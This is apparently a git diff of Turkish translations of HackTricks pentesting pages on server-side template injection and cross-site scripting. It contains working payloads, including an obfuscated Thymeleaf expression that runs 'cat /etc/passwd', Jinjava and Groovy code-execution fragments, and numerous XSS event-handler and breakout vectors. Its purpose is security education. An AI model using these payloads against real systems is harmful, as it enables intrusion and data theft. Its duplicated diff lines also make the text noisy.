Ancak, bu yükün çalışması olasılığı genellikle düşüktür. Thymeleaf'in varsayılan yapılandırması dinamik şablon oluşturmayı desteklemez; şablonlar önceden tanımlanmış olmalıdır. Geliştiricilerin, şablonları anlık olarak dizelerden oluşturmak için kendi `TemplateResolver`'larını uygulamaları gerekir, bu da yaygın değildir.
Ancak, bu yükün çalışması olasılığı genellikle düşüktür. Thymeleaf'in varsayılan yapılandırması dinamik şablon oluşturmayı desteklemez; şablonlar önceden tanımlanmış olmalıdır. Geliştiricilerin, şablonları anlık olarak dizelerden oluşturmak için kendi `TemplateResolver`'larını uygulamaları gerekir ki bu yaygın değildir.
Thymeleaf ayrıca, çift alt çizgi içinde (`__...__`) bulunan ifadelerin ön işleme tabi tutulduğu _ifade ön işleme_ sunar. Bu özellik, Thymeleaf'in belgelerinde gösterildiği gibi, ifadelerin inşasında kullanılabilir:
```java
@ -229,7 +229,7 @@ Birden fazla değişken ifadesi kullanılabilir, eğer `${...}` çalışmıyorsa
```java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
* Ödeme oluşturma için Özel Script
* Payload üretimi için Özel Script
```python
#!/usr/bin/python3
@ -328,9 +328,9 @@ Jinjava, Hubspot tarafından geliştirilen açık kaynak bir projedir, [https://
### Hubspot - HuBL (Java)
* `{% %}` ifade sınırlayıcıları
* `{{ }}` ifade sınırlayıcıları
* `{# #}` yorum sınırlayıcıları
* `{% %}` ifade ayırıcıları
* `{{ }}` ifade ayırıcıları
* `{# #}` yorum ayırıcıları
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
* `{{'a'.toUpperCase()}}` - "A"
* `{{'a'.concat('b')}}` - "ab"
@ -391,13 +391,13 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
* `${{7*7}}` - 49
* `${{request}}, ${{session}}, {{faceContext}}`
İfade Dili (EL), JavaEE'de sunum katmanı (web sayfaları gibi) ile uygulama mantığı (yönetilen bean'ler gibi) arasındaki etkileşimi kolaylaştıran temel bir özelliktir. Bu iletişimi kolaylaştırmak için çok sayıda JavaEE teknolojisinde yaygın olarak kullanılır. EL'yi kullanan ana JavaEE teknolojileri şunlardır:
İfade Dili (EL), JavaEE'de sunum katmanı (web sayfaları gibi) ile uygulama mantığı (yönetilen bean'ler gibi) arasındaki etkileşimi kolaylaştıran temel bir özelliktir. Bu iletişimi kolaylaştırmak için çok sayıda JavaEE teknolojisinde yaygın olarak kullanılmaktadır. EL'yi kullanan ana JavaEE teknolojileri şunlardır:
* **JavaServer Faces (JSF)**: JSF sayfalarındaki bileşenleri ilgili arka uç verileri ve eylemleri ile bağlamak için EL kullanır.
* **JavaServer Pages (JSP)**: JSP sayfalarında verileri erişmek ve manipüle etmek için EL kullanılır, bu da sayfa öğelerini uygulama verileriyle bağlamayı kolaylaştırır.
* **Java EE için Bağlamlar ve Bağımlılık Enjeksiyonu (CDI)**: EL, web katmanı ile yönetilen bean'ler arasında kesintisiz etkileşimi sağlamak için CDI ile entegre olur, böylece daha tutarlı bir uygulama yapısı sağlar.
* **Java EE için Bağlamlar ve Bağımlılık Enjeksiyonu (CDI)**: EL, web katmanı ile yönetilen bean'ler arasında kesintisiz etkileşim sağlamak için CDI ile entegre olur, böylece daha tutarlı bir uygulama yapısı sağlar.
**EL yorumlayıcılarının istismarı** hakkında daha fazla bilgi için aşağıdaki sayfayı kontrol edin:
**EL yorumlayıcılarının istismarını** öğrenmek için aşağıdaki sayfayı kontrol edin:
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
@ -438,7 +438,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) **İspanya**'daki en ilgili siber güvenlik etkinliği ve **Avrupa**'daki en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
[**RootedCON**](https://www.rootedcon.com/) **İspanya**'daki en ilgili siber güvenlik etkinliği ve **Avrupa**'daki en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
{% embed url="https://www.rootedcon.com/" %}
@ -501,8 +501,8 @@ array("first_name" => $user.first_name)
```
**Daha fazla bilgi**
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) adresinin Twig ve Twig (Sandboxed) bölümünde
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) adresinin Twig ve Twig (Sandboxed) bölümü
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
### Plates (PHP)
@ -523,7 +523,7 @@ Sayfa şablonu:
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
```
Düzen şablonu:
Layout şablonu:
```html
<html>
<head>
@ -624,7 +624,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) XML etiketlerini kullanarak bir belgeyi farklı parçalara ayıran, derlenmeyen bir PHP şablon motorudur.
> [patTemplate](https://github.com/wernerwa/pat-template) XML etiketlerini kullanarak bir belgeyi farklı parçalara ayıran derlenmeyen PHP şablon motorudur.
```xml
<patTemplate:tmpl name="page">
This is the main page.
@ -731,9 +731,9 @@ home = pugjs.render(injected_page)
### Diğer NodeJS
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
* Daha fazla bilgi için [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
@ -899,7 +899,7 @@ ${x}
* `@(2+2) <= Başarılı`
* `@() <= Başarılı`
* `@("{{code}}") <= Başarılı`
* `@ <= Başarılı`
* `@ <=Başarılı`
* `@{} <= HATA!`
* `@{ <= HATA!`
* `@(1+2)`
@ -949,7 +949,7 @@ Go'nun şablon motorunda, kullanımının doğrulanması belirli yüklerle yapı
**XSS Exploitation**
`text/template` paketi ile XSS, yükü doğrudan ekleyerek basit hale getirilebilir. Aksine, `html/template` paketi yanıtı kodlayarak bunu önler (örneğin, `{{"<script>alert(1)</script>"}}` sonucu `&lt;script&gt;alert(1)&lt;/script&gt;` olur). Ancak, Go'da şablon tanımı ve çağrısı bu kodlamayı atlayabilir: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
`text/template` paketi ile XSS, yükü doğrudan ekleyerek basit hale getirilebilir. Aksine, `html/template` paketi, bunu önlemek için yanıtı kodlar (örneğin, `{{"<script>alert(1)</script>"}}` sonucu `&lt;script&gt;alert(1)&lt;/script&gt;` olur). Ancak, Go'da şablon tanımı ve çağrısı bu kodlamayı atlayabilir: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
vbnet Copy code
@ -1008,8 +1008,8 @@ Faydalı olabileceğini düşünüyorsanız, okuyun:
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -1017,7 +1017,7 @@ GCP Hacking öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek hacking ipuçlarını paylaşın.
* **HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek hacking hilelerini paylaşın.
</details>
{% endhint %}

View file

@ -1,6 +1,6 @@
# XSS (Cross Site Scripting)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hack kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı yazılı ve sözlü Lehçe gereklidir_).
@ -10,28 +10,28 @@ Eğer **hack kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek is
1. **Kontrol ettiğiniz herhangi bir değerin** (_parametreler_, _yol_, _başlıklar_?, _çerezler_?) HTML'de **yansıtılıp** yansıtılmadığını veya **JS** kodu tarafından **kullanılıp kullanılmadığını** kontrol edin.
2. **Yansıtıldığı/kullanıldığı bağlamı** bulun.
3. Eğer **yansıtılmışsa**
1. **Hangi sembolleri kullanabileceğinizi** kontrol edin ve buna bağlı olarak yükü hazırlayın:
1. **ham HTML** içinde:
1. Yeni HTML etiketleri oluşturabilir misiniz?
2. `javascript:` protokolünü destekleyen olayları veya nitelikleri kullanabilir misiniz?
3. Koruma mekanizmalarını aşabilir misiniz?
4. HTML içeriği herhangi bir istemci tarafı JS motoru (_AngularJS_, _VueJS_, _Mavo_...) tarafından yorumlanıyorsa, [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md) istismar edebilirsiniz.
5. JS kodunu çalıştıran HTML etiketleri oluşturamıyorsanız, [**Dangling Markup - HTML scriptsiz enjeksiyonu**](../dangling-markup-html-scriptless-injection/) istismar edebilir misiniz?
2. **HTML etiketinin** içinde:
1. Ham HTML bağlamına çıkabilir misiniz?
2. JS kodunu çalıştırmak için yeni olaylar/nitelikler oluşturabilir misiniz?
3. Sıkıştığınız nitelik JS yürütmesini destekliyor mu?
4. Koruma mekanizmalarını aşabilir misiniz?
3. **JavaScript kodunun** içinde:
1. `<script>` etiketinden kaçabilir misiniz?
2. Dizeyi kaçırabilir ve farklı JS kodu çalıştırabilir misiniz?
3. Girdiğiniz değer şablon literalleri \`\` içinde mi?
4. Koruma mekanizmalarını aşabilir misiniz?
4. Javascript **fonksiyonu** **çalıştırılıyor**
1. Çalıştırılacak fonksiyonun adını belirtebilirsiniz. örneğin: `?callback=alert(1)`
4. Eğer **kullanılıyorsa**:
1. **DOM XSS** istismar edebilirsiniz, girdinizin nasıl kontrol edildiğine ve **kontrol ettiğiniz girdinin herhangi bir sink tarafından kullanılıp kullanılmadığına** dikkat edin.
3. Eğer **yansıtılmışsa**:
1. **Hangi sembolleri kullanabileceğinizi** kontrol edin ve buna bağlı olarak yükü hazırlayın:
1. **ham HTML** içinde:
1. Yeni HTML etiketleri oluşturabilir misiniz?
2. `javascript:` protokolünü destekleyen olayları veya nitelikleri kullanabilir misiniz?
3. Koruma önlemlerini aşabilir misiniz?
4. HTML içeriği herhangi bir istemci tarafı JS motoru (_AngularJS_, _VueJS_, _Mavo_...) tarafından yorumlanıyor mu, [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md) istismar edebilirsiniz.
5. JS kodunu çalıştıran HTML etiketleri oluşturamıyorsanız, [**Dangling Markup - HTML scriptsiz enjeksiyon**](../dangling-markup-html-scriptless-injection/) istismar edebilir misiniz?
2. **HTML etiketinin** içinde:
1. Ham HTML bağlamına çıkabilir misiniz?
2. JS kodunu çalıştırmak için yeni olaylar/nitelikler oluşturabilir misiniz?
3. Sıkıştığınız nitelik JS yürütmesini destekliyor mu?
4. Koruma önlemlerini aşabilir misiniz?
3. **JavaScript kodunun** içinde:
1. `<script>` etiketini kaçırabilir misiniz?
2. Dizeyi kaçırabilir ve farklı JS kodu çalıştırabilir misiniz?
3. Girdiğiniz şablon literalleri \`\` içinde mi?
4. Koruma önlemlerini aşabilir misiniz?
4. Javascript **fonksiyonu** **çalıştırılıyor**:
1. Çalıştırılacak fonksiyonun adını belirtebilirsiniz. örneğin: `?callback=alert(1)`
5. Eğer **kullanılıyorsa**:
1. **DOM XSS** istismar edebilirsiniz, girdinizin nasıl kontrol edildiğine ve **kontrol edilen girdinizin herhangi bir sink tarafından kullanılıp kullanılmadığına** dikkat edin.
Karmaşık bir XSS üzerinde çalışırken bilmek ilginç olabilir:
@ -44,7 +44,7 @@ Karmaşık bir XSS üzerinde çalışırken bilmek ilginç olabilir:
Bir XSS'i başarıyla istismar etmek için bulmanız gereken ilk şey, web sayfasında **yansıtılan sizin kontrolünüzdeki bir değerdir**.
* **Ara yansıtılmış**: Eğer bir parametrenin değeri veya hatta yolun web sayfasında yansıtıldığını bulursanız, **Yansıtılmış XSS** istismar edebilirsiniz.
* **Saklanan ve yansıtılan**: Eğer kontrol ettiğiniz bir değerin sunucuda kaydedildiğini ve her sayfaya eriştiğinizde yansıtıldığını bulursanız, **Saklanan XSS** istismar edebilirsiniz.
* **Saklanmış ve yansıtılmış**: Eğer kontrol ettiğiniz bir değerin sunucuda saklandığını ve her sayfaya eriştiğinizde yansıtıldığını bulursanız, **Saklanmış XSS** istismar edebilirsiniz.
* **JS ile erişilen**: Eğer kontrol ettiğiniz bir değerin JS kullanılarak erişildiğini bulursanız, **DOM XSS** istismar edebilirsiniz.
## Bağlamlar
@ -54,7 +54,7 @@ Bir XSS'i istismar etmeye çalışırken bilmeniz gereken ilk şey, **girdinizin
### Ham HTML
Eğer girdiniz **ham HTML** sayfasında **yansıtılıyorsa**, JS kodunu çalıştırmak için bazı **HTML etiketlerini** istismar etmeniz gerekecek: `<img , <iframe , <svg , <script` ... bunlar kullanabileceğiniz birçok olası HTML etiketinden sadece birkaçıdır.\
Ayrıca, [İstemci Tarafı Şablon Enjeksiyonu](../client-side-template-injection-csti.md) aklınızda bulunsun.
Ayrıca, [İstemci Tarafı Şablon Enjeksiyonu](../client-side-template-injection-csti.md) aklınızda bulundurun.
### HTML etiketinin niteliği içinde
@ -63,25 +63,25 @@ Eğer girdiniz bir etiketin niteliğinin değerinde yansıtılıyorsa, şunları
1. **nitelikten ve etiketin dışına çıkmak** (o zaman ham HTML'de olacaksınız) ve istismar etmek için yeni bir HTML etiketi oluşturmak: `"><img [...]`
2. Eğer **nitelikten çıkabiliyorsanız ama etiketin dışına çıkamıyorsanız** (`>` kodlanmış veya silinmişse), etikete bağlı olarak **JS kodunu çalıştıran bir olay** oluşturabilirsiniz: `" autofocus onfocus=alert(1) x="`
3. Eğer **nitelikten çıkamıyorsanız** (`"` kodlanmış veya silinmişse), o zaman **hangi nitelikte** değerinizin yansıtıldığına bağlı olarak **değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize** bağlı olarak bunu istismar edebilirsiniz. **Örneğin**, `onclick=` gibi bir olayı kontrol ediyorsanız, tıklandığında rastgele kod çalıştırmasını sağlayabilirsiniz. Diğer ilginç bir **örnek**, `href` niteliğidir; burada `javascript:` protokolünü kullanarak rastgele kod çalıştırabilirsiniz: **`href="javascript:alert(1)"`**
4. Eğer girdiniz "**istismar edilemez etiketler**" içinde yansıtılıyorsa, açığı istismar etmek için **`accesskey`** numarasını deneyebilirsiniz (bunu istismar etmek için bir tür sosyal mühendislik yapmanız gerekecek): **`" accesskey="x" onclick="alert(1)" x="**
4. Eğer girdiniz "**istismar edilemez etiketler**" içinde yansıtılıyorsa, açığı istismar etmek için **`accesskey`** numarasını deneyebilirsiniz (bunu istismar etmek için bir tür sosyal mühendislik yapmanız gerekecek): **`" accesskey="x" onclick="alert(1)" x="`**
Eğer bir sınıf adını kontrol ediyorsanız Angular'ın XSS'i çalıştırdığına dair garip bir örnek:
Sınıf adını kontrol ediyorsanız Angular'ın XSS'i çalıştırdığı tuhaf bir örnek:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
### JavaScript kodunun içinde
### Inside JavaScript code
Bu durumda, girdiniz bir HTML sayfasının **`<script> [...] </script>`** etiketleri arasında, bir `.js` dosyası içinde veya bir niteliğin içinde **`javascript:`** protokolü kullanılarak yansıtılır:
* Eğer **`<script> [...] </script>`** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `</script>` enjekte etmeyi deneyebilirsiniz ve bu bağlamdan çıkabilirsiniz. Bu, **tarayıcı önce HTML etiketlerini ayrıştırdığı** ve ardından içeriği işlediği için çalışır, bu nedenle enjekte ettiğiniz `</script>` etiketinin HTML kodunun içinde olduğunu fark etmeyecektir.
* Eğer **bir JS dizesinin içinde** yansıtılıyorsa ve son hile işe yaramıyorsa, dizeden **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekecektir (herhangi bir hata varsa, çalıştırılmayacaktır):
* Eğer **`<script> [...] </script>`** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `</script>` enjekte etmeyi deneyebilirsiniz ve bu bağlamdan çıkabilirsiniz. Bu, **tarayıcı önce HTML etiketlerini** ayrıştırdığı ve ardından içeriği işlediği için çalışır, bu nedenle enjekte ettiğiniz `</script>` etiketinin HTML kodu içinde olduğunu fark etmeyecektir.
* Eğer **bir JS dizesi içinde** yansıtılıyorsa ve son numara çalışmıyorsa, dizeden **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekecektir (herhangi bir hata varsa, çalıştırılmayacaktır):
* `'-alert(1)-'`
* `';-alert(1)//`
* `\';alert(1)//`
* Eğer şablon dizeleri içinde yansıtılıyorsa, `${ ... }` sözdizimini kullanarak **JS ifadelerini** **gömebilirsiniz**: `` var greetings = `Hello, ${alert(1)}` ``
* **Unicode kodlaması**, **geçerli javascript kodu** yazmak için çalışır:
* Eğer şablon dizeleri içinde yansıtılıyorsa, `${ ... }` sözdizimini kullanarak **JS ifadeleri** **gömebilirsiniz**: `` var greetings = `Hello, ${alert(1)}` ``
* **Unicode kodlama** geçerli **javascript kodu** yazmak için çalışır:
```javascript
\u{61}lert(1)
\u0061lert(1)
@ -118,11 +118,11 @@ nextElementSibiling
lastElementSibiling
parentElement
```
You can also try to **Javascript fonksiyonlarını** doğrudan tetiklemek: `obj.sales.delOrders`.
You can also try to **trigger Javascript functions** directly: `obj.sales.delOrders`.
Ancak, genellikle belirtilen fonksiyonu yürüten uç noktalar, çok ilginç DOM'a sahip olmayan uç noktalardır, **aynı kökenden diğer sayfalar** daha fazla işlem yapmak için **daha ilginç bir DOM** olacaktır.
However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, **other pages in the same origin** will have a **more interesting DOM** to perform more actions.
Bu nedenle, **farklı bir DOM'da bu zafiyeti istismar etmek için** **Same Origin Method Execution (SOME)** istismarı geliştirilmiştir:
Therefore, in order to **abuse this vulnerability in a different DOM** the **Same Origin Method Execution (SOME)** exploitation was developed:
{% content-ref url="some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](some-same-origin-method-execution.md)
@ -130,16 +130,16 @@ Bu nedenle, **farklı bir DOM'da bu zafiyeti istismar etmek için** **Same Origi
### DOM
**JS kodu** bazı **saldırgan tarafından kontrol edilen verileri** **güvensiz bir şekilde** kullanıyor, örneğin `location.href`. Bir saldırgan, bunu rastgele JS kodu yürütmek için istismar edebilir.
There is **JS code** that is using **unsafely** some **data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.
{% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md)
{% endcontent-ref %}
### **Evrensel XSS**
### **Universal XSS**
Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** bağımlıdır. Bu tür **rastgele JavaScript yürütmesi** **RCE** elde etmek, istemcilerde ve sunucularda **rastgele** **dosyaları** **okumak** ve daha fazlası için bile istismar edilebilir.\
Bazı **örnekler**:
These kind of XSS can be found **anywhere**. They not depend just on the client exploitation of a web application but on **any** **context**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **read** **arbitrary** **files** in clients and servers, and more.\
Some **examples**:
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
@ -149,28 +149,28 @@ Bazı **örnekler**:
[electron-desktop-apps](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
{% endcontent-ref %}
## WAF atlatma kodlama resmi
## WAF bypass encoding image
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../.gitbook/assets/EauBb2EX0AERaNK (1).jpg>)
## Ham HTML içinde enjekte etme
## Injecting inside raw HTML
Girdiğiniz **HTML sayfasında** yansıtılıyorsa veya bu bağlamda HTML kodunu kaçırıp enjekte edebiliyorsanız, yapmanız gereken **ilk** şey `<` karakterini yeni etiketler oluşturmak için istismar edip edemeyeceğinizi kontrol etmektir: Sadece o **karakteri** **yansıtmayı** deneyin ve **HTML kodlaması** yapılıp yapılmadığını veya **silinip silinmediğini** ya da **değişiklik olmadan yansıtılıp yansıtılmadığını** kontrol edin. **Sadece son durumda bu durumu istismar edebileceksiniz**.\
Bu durumlar için ayrıca **[Müşteri Tarafı Şablon Enjeksiyonu](../client-side-template-injection-csti.md)**'nu da **aklınızda bulundurun**.\
_**Not: Bir HTML yorumu, \*\*\*\***** ****`-->`**** ****veya \*\*\*\*****`--!>`** ile kapatılabilir._
When your input is reflected **inside the HTML page** or you can escape and inject HTML code in this context the **first** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**.\
For this cases also **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Not: Bir HTML yorumu `-->` veya `--!>` kullanılarak kapatılabilir.**_
Bu durumda ve eğer kara/beyaz listeleme kullanılmıyorsa, şu tür yükleri kullanabilirsiniz:
In this case and if no black/whitelisting is used, you could use payloads like:
```html
<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>
```
Ama, eğer etiketler/özellikler kara/beyaz listeleme kullanılıyorsa, hangi etiketleri oluşturabileceğinizi **brute-force** etmeniz gerekecek.\
Hangi etiketlerin izin verildiğini **bulduktan** sonra, saldırı yapabileceğiniz bağlamı görmek için bulunan geçerli etiketler içinde **brute-force özellikleri/olayları** yapmanız gerekecek.
Hangi etiketlerin izin verildiğini **bulduktan** sonra, saldırı yapabileceğiniz bağlamı görmek için bulunan geçerli etiketler içinde **özellikler/olayları brute-force** etmeniz gerekecek.
### Etiketler/Olaylar brute-force
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) adresine gidin ve _**Etiketleri panoya kopyala**_ seçeneğine tıklayın. Ardından, hepsini Burp intruder kullanarak gönderin ve herhangi bir etiketin WAF tarafından kötü niyetli olarak keşfedilip keşfedilmediğini kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak **tüm olayları brute force** edebilirsiniz (aynı web sayfasında _**Olayları panoya kopyala**_ seçeneğine tıklayın ve önceki prosedürü izleyin).
[**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) adresine gidin ve _**Etiketleri panoya kopyala**_ seçeneğine tıklayın. Ardından, hepsini Burp intruder kullanarak gönderin ve herhangi bir etiketin WAF tarafından kötü niyetli olarak keşfedilip keşfedilmediğini kontrol edin. Hangi etiketleri kullanabileceğinizi keşfettikten sonra, geçerli etiketleri kullanarak **tüm olayları brute-force** edebilirsiniz (aynı web sayfasında _**Olayları panoya kopyala**_ seçeneğine tıklayın ve önceki prosedürü izleyin).
### Özel etiketler
@ -251,14 +251,14 @@ Eğer zafiyeti istismar etmek için **kullanıcının önceden doldurulmuş veri
### Impossible - Dangling Markup
Eğer **JS kodunu çalıştırmak için bir niteliğe sahip bir HTML etiketi oluşturmanın imkansız olduğunu** düşünüyorsanız, [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) kontrol etmelisiniz çünkü zafiyeti **JS** kodu çalıştırmadan **istismar edebilirsiniz**.
Eğer **JS kodunu çalıştırmak için bir niteliğe sahip bir HTML etiketi oluşturmanın imkansız olduğunu** düşünüyorsanız, [**Dangling Markup**](../dangling-markup-html-scriptless-injection/) konusunu kontrol etmelisiniz çünkü zafiyeti **JS** kodu çalıştırmadan **istismar edebilirsiniz**.
## Injecting inside HTML tag
### Inside the tag/escaping from attribute value
Eğer **bir HTML etiketinin içindeyseniz**, denemek için ilk şey **etiketten kaçmak** ve [önceki bölümde](./#injecting-inside-raw-html) belirtilen bazı teknikleri kullanarak JS kodunu çalıştırmaktır.\
Eğer **etiketten kaçamazsanız**, etikette yeni nitelikler oluşturarak JS kodunu çalıştırmayı deneyebilirsiniz, örneğin (_bu örnekte çift tırnakların niteliği kaçmak için kullanıldığını unutmayın, eğer girdiniz doğrudan etiketin içinde yansıtılıyorsa onlara ihtiyacınız olmayacak_):
Eğer **bir HTML etiketinin içindeyseniz**, denemek için ilk şey **etiketten kaçmak** ve JS kodunu çalıştırmak için [önceki bölümde](./#injecting-inside-raw-html) belirtilen bazı teknikleri kullanmaktır.\
Eğer **etiketten kaçamazsanız**, JS kodunu çalıştırmak için etiketin içinde yeni nitelikler oluşturabilirsiniz, örneğin (_bu örnekte çift tırnakların niteliği kaçmak için kullanıldığını unutmayın, eğer girdiniz doğrudan etiketin içinde yansıtılıyorsa onlara ihtiyacınız olmayacak_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -273,14 +273,14 @@ Eğer **etiketten kaçamazsanız**, etikette yeni nitelikler oluşturarak JS kod
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
```
### Attribute içinde
### Özellik İçinde
